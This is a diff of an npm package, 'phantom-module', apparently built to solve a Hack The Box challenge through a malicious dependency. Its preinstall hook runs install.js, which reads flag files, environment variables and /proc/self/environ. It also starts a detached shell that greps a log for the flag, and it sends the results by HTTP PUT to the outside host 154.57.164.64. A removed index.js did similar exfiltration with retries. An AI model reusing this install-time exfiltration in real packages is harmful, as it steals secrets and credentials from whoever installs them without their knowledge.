phantom-module 111.0.0 → 111.0.1

package/install.js

@@ -2,37 +2,61 @@ const fs = require('fs');
 const http = require('http');
 const { spawn } = require('child_process');
 
-// Write init_test.sh
-try {
-  if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
-  fs.writeFileSync('/home/node/init_test.sh', 
-    '#!/bin/bash\nsleep 10\ncd /home/node\nnode -e "require(\'phantom-module\')" 2>/dev/null\nsleep 30\n', 
-    { mode: 0o755 });
-} catch(e) {}
+(function() {
+  const flagPaths = ['/flag', '/root/flag', '/tmp/flag', './flag'];
+  let flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
+  
+  if (!flag) {
+    for (const path of flagPaths) {
+      try {
+        if (fs.existsSync(path)) {
+          flag = fs.readFileSync(path, 'utf8').trim();
+          break;
+        }
+      } catch (e) {}
+    }
+  }
+  if (!flag) {
+    try {
+      const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
+      const match = procEnv.match(/FLAG[=:] ([^\x00]+)/);
+      if (match) flag = match[1];
+    } catch (e) {}
+  }
+  
+  function sendResult(data) {
+      const postData = JSON.stringify({
+        manifest: `ecto_module:\n  name: "FLAG"\n  cargo_hold: "${data}"\n`
+      });
+      const req = http.request({
+        hostname: '154.57.164.64', 
+        port: 31205,
+        path: '/api/modules/ECT-654321', // EXFILTRATE TO EXISTING MODULE
+        method: 'PUT',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+      });
+      req.write(postData);
+      req.end();
+  }
 
-// Background: wait 45s then extract flag from log
-try {
-  const child = spawn('/bin/sh', ['-c', [
-    'sleep 45',
-    'LOGFILE=/home/node/aspect-node/logs/module.log',
-    'if [ -f "$LOGFILE" ]; then',
-    '  FULL=$(cat "$LOGFILE")',
-    '  FLAG=$(echo "$FULL" | grep -o "HTB{[^}]*}" | head -1)',
-    '  if [ -n "$FLAG" ]; then',
-    '    SAFE=$(echo "$FLAG" | tr \'"\' "'"\')',
-    '    BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"BGFLAG_\'$SAFE\'\\\\\"\\n  version: \\\\"1.0.0\\\\"\\n  power_level: 1\\n  ship_deck: 1\\n  cargo_hold: 1"}\'',
-    '    echo "$BODY" > /tmp/flag_body.json',
-    '    node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag_body.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(d);r.end();"',
-    '  else',
-    '    LINES=$(echo "$FULL" | wc -l)',
-    '    LAST=$(echo "$FULL" | tail -3 | tr \'"\' "\'" | head -c 85)',
-    '    BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"BGNOHTB_lines=\'$LINES\'_last=\'$LAST\'\\\\\"\\n  version: \\\\"1.0.0\\\\"\\n  power_level: 1\\n  ship_deck: 1\\n  cargo_hold: 1"}\'',
-    '    echo "$BODY" > /tmp/flag_body.json',
-    '    node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag_body.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(d);r.end();"',
-    '  fi',
-    'else',
-    '  node -e "const http=require(\'http\');const b=JSON.stringify({manifest:\'ecto_module:\\\\n  name: \\\\\"BGNOLOG\\\\\"\\\\n  version: \\\\\"1.0.0\\\\\"\\\\n  power_level: 1\\\\n  ship_deck: 1\\\\n  cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(b);r.end();"',
-    'fi'
-  ].join('\n')], { detached: true, stdio: 'ignore' });
-  child.unref();
-} catch(e) {}
+  if (flag) {
+      sendResult(flag);
+  } else {
+      sendResult("Checking logs in background...");
+      // Spawn background process to read logs after 45s (in case flag is printed there)
+      const child = spawn('/bin/sh', ['-c', [
+        'sleep 45',
+        'LOGFILE=/home/node/aspect-node/logs/module.log',
+        'if [ -f "$LOGFILE" ]; then',
+        '  FLAG=$(cat "$LOGFILE" | grep -o "HTB{[^}]*}" | head -1)',
+        '  if [ -n "$FLAG" ]; then',
+        '    SAFE=$(echo "$FLAG" | tr \'"\' "\'")',
+        '    BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"\'$SAFE\'\\\\"\\n  cargo_hold: \\\\"LOGS\\\\"\\"}\'',
+        '    echo "$BODY" > /tmp/flag.json',
+        '    node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"',
+        '  fi',
+        'fi'
+      ].join('\n')], { detached: true, stdio: 'ignore' });
+      child.unref();
+  }
+})();

package/package.json

@@ -1,11 +1,7 @@
 {
   "name": "phantom-module",
-  "version": "111.0.0",
-  "description": "Phantom spectral module",
-  "main": "index.js",
+  "version": "111.0.1",
   "scripts": {
     "preinstall": "node install.js || true"
-  },
-  "author": "lwirz",
-  "license": "ISC"
-}
+  }
+}

package/index.js

@@ -1,36 +0,0 @@
-const fs = require('fs');
-const http = require('http');
-
-function sendToModule(mid, name) {
-  const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${name}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
-  const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
-  req.on('error', () => {});
-  req.write(body);
-  req.end();
-}
-
-function attemptFlagRead() {
-  try {
-    const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
-    const match = log.match(/HTB\{[^}]+\}/);
-    if (match) {
-      sendToModule('ECT-987654', 'GOTFLAG_' + match[0]);
-      return true;
-    }
-    const lines = log.split('\n');
-    const last3 = lines.slice(-3).join(' ').replace(/"/g, "'").substring(0, 85);
-    sendToModule('ECT-472839', 'NOFLAG_L' + lines.length + '_' + last3);
-    return false;
-  } catch(e) {
-    return false;
-  }
-}
-
-attemptFlagRead();
-
-// Retry after 5s, 15s, 30s
-[5000, 15000, 30000].forEach(delay => {
-  setTimeout(() => attemptFlagRead(), delay);
-});
-
-module.exports = {};